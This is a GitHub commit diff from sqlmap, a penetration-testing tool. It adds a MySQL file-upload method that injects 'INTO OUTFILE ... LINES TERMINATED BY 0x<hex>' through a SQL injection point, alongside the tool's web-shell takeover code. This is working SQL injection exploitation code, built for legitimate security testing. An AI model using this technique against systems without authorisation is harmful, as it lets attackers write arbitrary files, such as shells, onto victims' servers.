Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit c37014b

Browse files
stamparmstamparm
committed
Implementation for an Issue #647 
1 parent 349e9b9 commit c37014b

6 files changed

Lines changed: 47 additions & 10 deletions

File tree

‎lib/core/settings.py‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -19,7 +19,7 @@
1919
from lib.core.enums import OS
2020

2121
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
22-
VERSION = "1.2.9.8"
22+
VERSION = "1.2.9.9"
2323
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
2424
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
2525
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)

‎lib/takeover/web.py‎

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -146,8 +146,7 @@ def _webFileInject(self, fileContent, fileName, directory):
146146
query += "OR %d=%d " % (randInt, randInt)
147147

148148
query += getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=outFile, HEXSTRING=hexencode(uplQuery, conf.encoding))
149-
query = agent.prefixQuery(query)
150-
query = agent.suffixQuery(query)
149+
query = agent.prefixQuery(query) # Note: No need for suffix as 'write_file_limit' already ends with comment (required)
151150
payload = agent.payload(newValue=query)
152151
page = Request.queryPage(payload)
153152

‎plugins/dbms/mysql/filesystem.py‎

Lines changed: 32 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -5,6 +5,8 @@
55
See the file 'LICENSE' for copying permission
66
"""
77

8+
from lib.core.agent import agent
9+
from lib.core.common import getSQLSnippet
810
from lib.core.common import isNumPosStrValue
911
from lib.core.common import isTechniqueAvailable
1012
from lib.core.common import popValue
@@ -16,11 +18,13 @@
1618
from lib.core.data import logger
1719
from lib.core.decorators import stackedmethod
1820
from lib.core.enums import CHARSET_TYPE
21+
from lib.core.enums import DBMS
1922
from lib.core.enums import EXPECTED
2023
from lib.core.enums import PAYLOAD
2124
from lib.core.enums import PLACE
2225
from lib.core.exception import SqlmapNoneDataException
2326
from lib.request import inject
27+
from lib.request.connect import Connect as Request
2428
from lib.techniques.union.use import unionUse
2529
from plugins.generic.filesystem import Filesystem as GenericFilesystem
2630

@@ -112,6 +116,34 @@ def unionWriteFile(self, wFile, dFile, fileType, forceCheck=False):
112116

113117
return self.askCheckWrittenFile(wFile, dFile, forceCheck)
114118

119+
def linesTerminatedWriteFile(self, wFile, dFile, fileType, forceCheck=False):
120+
logger.debug("encoding file to its hexadecimal string value")
121+
122+
fcEncodedList = self.fileEncode(wFile, "hex", True)
123+
fcEncodedStr = fcEncodedList[0][2:]
124+
fcEncodedStrLen = len(fcEncodedStr)
125+
126+
if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000:
127+
warnMsg = "the injection is on a GET parameter and the file "
128+
warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen
129+
warnMsg += "bytes, this might cause errors in the file "
130+
warnMsg += "writing process"
131+
logger.warn(warnMsg)
132+
133+
debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile)
134+
logger.debug(debugMsg)
135+
136+
query = getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=dFile, HEXSTRING=fcEncodedStr)
137+
query = agent.prefixQuery(query) # Note: No need for suffix as 'write_file_limit' already ends with comment (required)
138+
payload = agent.payload(newValue=query)
139+
page = Request.queryPage(payload)
140+
141+
warnMsg = "expect junk characters inside the "
142+
warnMsg += "file as a leftover from original query"
143+
singleTimeWarnMessage(warnMsg)
144+
145+
return self.askCheckWrittenFile(wFile, dFile, forceCheck)
146+
115147
def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False):
116148
debugMsg = "creating a support table to write the hexadecimal "
117149
debugMsg += "encoded file to"

‎plugins/generic/filesystem.py‎

Lines changed: 8 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -284,17 +284,23 @@ def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
284284
if conf.direct or isStackingAvailable():
285285
if isStackingAvailable():
286286
debugMsg = "going to upload the file '%s' with " % fileType
287-
debugMsg += "stacked query SQL injection technique"
287+
debugMsg += "stacked query technique"
288288
logger.debug(debugMsg)
289289

290290
written = self.stackedWriteFile(localFile, remoteFile, fileType, forceCheck)
291291
self.cleanup(onlyFileTbl=True)
292292
elif isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and Backend.isDbms(DBMS.MYSQL):
293293
debugMsg = "going to upload the file '%s' with " % fileType
294-
debugMsg += "UNION query SQL injection technique"
294+
debugMsg += "UNION query technique"
295295
logger.debug(debugMsg)
296296

297297
written = self.unionWriteFile(localFile, remoteFile, fileType, forceCheck)
298+
elif Backend.isDbms(DBMS.MYSQL):
299+
debugMsg = "going to upload the file '%s' with " % fileType
300+
debugMsg += "LINES TERMINATED BY technique"
301+
logger.debug(debugMsg)
302+
303+
written = self.linesTerminatedWriteFile(localFile, remoteFile, fileType, forceCheck)
298304
else:
299305
errMsg = "none of the SQL injection techniques detected can "
300306
errMsg += "be used to write files to the underlying file "

‎procs/mysql/write_file_limit.sql‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1 +1 @@
1-
LIMIT 0,1 INTO OUTFILE '%OUTFILE%' LINES TERMINATED BY 0x%HEXSTRING%--
1+
LIMIT 0,1 INTO OUTFILE '%OUTFILE%' LINES TERMINATED BY 0x%HEXSTRING%-- -

‎txt/checksum.md5‎

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -50,7 +50,7 @@ c8c386d644d57c659d74542f5f57f632 lib/core/patch.py
5050
0c3eef46bdbf87e29a3f95f90240d192 lib/core/replication.py
5151
a7db43859b61569b601b97f187dd31c5 lib/core/revision.py
5252
fcb74fcc9577523524659ec49e2e964b lib/core/session.py
53-
8e0191efaa0a5d6a64a8e4e0aa772164 lib/core/settings.py
53+
c762da4ab30d1e245ca359df355ff7a7 lib/core/settings.py
5454
dd68a9d02fccb4fa1428b20e15b0db5d lib/core/shell.py
5555
a7edc9250d13af36ac0108f259859c19 lib/core/subprocessng.py
5656
815d1cf27f0f8738d81531e73149867d lib/core/target.py
@@ -89,7 +89,7 @@ acc1db3667bf910b809eb279b60595eb lib/takeover/icmpsh.py
8989
46ff5840b29531412bcaa05dac190413 lib/takeover/metasploit.py
9090
fb9e34d558293b5d6b9727f440712886 lib/takeover/registry.py
9191
6a49f359b922df0247eb236126596336 lib/takeover/udf.py
92-
f6f835e4190a55e42d13c1e7ca3f728f lib/takeover/web.py
92+
a3d07df8a780c668a11f06be42014cdc lib/takeover/web.py
9393
debc36a3ff80ba915aeeee69b21a8ddc lib/takeover/xp_cmdshell.py
9494
db208ab47de010836c6bf044e2357861 lib/techniques/blind/inference.py
9595
1e5532ede194ac9c083891c2f02bca93 lib/techniques/blind/__init__.py
@@ -172,7 +172,7 @@ f25c50a95e5390ecd32be5a011637349 plugins/dbms/mssqlserver/__init__.py
172172
3c0845fa526e1bb7bbe636fcfcbcc4a6 plugins/dbms/mssqlserver/takeover.py
173173
11a5724fdc0b0c0eb2626d952cda216a plugins/dbms/mysql/connector.py
174174
445164daf59b890aeacc968af58fcb53 plugins/dbms/mysql/enumeration.py
175-
4578fa29f04d0a75499f9668466ded07 plugins/dbms/mysql/filesystem.py
175+
2f97535b5cfb28eac0d51bf67a0304f7 plugins/dbms/mysql/filesystem.py
176176
34d951003dca386719c4d91384d2669a plugins/dbms/mysql/fingerprint.py
177177
30065993f8300994e4658634121609e9 plugins/dbms/mysql/__init__.py
178178
0e2adbee217f5b94dcc124d24b8dde99 plugins/dbms/mysql/syntax.py
@@ -210,7 +210,7 @@ ce6a6ff713852b5eca7b78316cc941c4 plugins/generic/custom.py
210210
78813e60e7108f78ef1af46d360f41bf plugins/generic/databases.py
211211
4e2b366bb9cfdaaed719b219913357c6 plugins/generic/entries.py
212212
d82f2c78c1d4d7c6487e94fd3a68a908 plugins/generic/enumeration.py
213-
0c8abe66a78edca0660bfb8049d109e2 plugins/generic/filesystem.py
213+
0a67b8b46f69df7cfacc286b47a0d9a5 plugins/generic/filesystem.py
214214
f5d5419efddfe04648ea5e953c650793 plugins/generic/fingerprint.py
215215
1e5532ede194ac9c083891c2f02bca93 plugins/generic/__init__.py
216216
f7874230e5661910d5fd21544c7d1022 plugins/generic/misc.py

0 commit comments

Comments
 (0)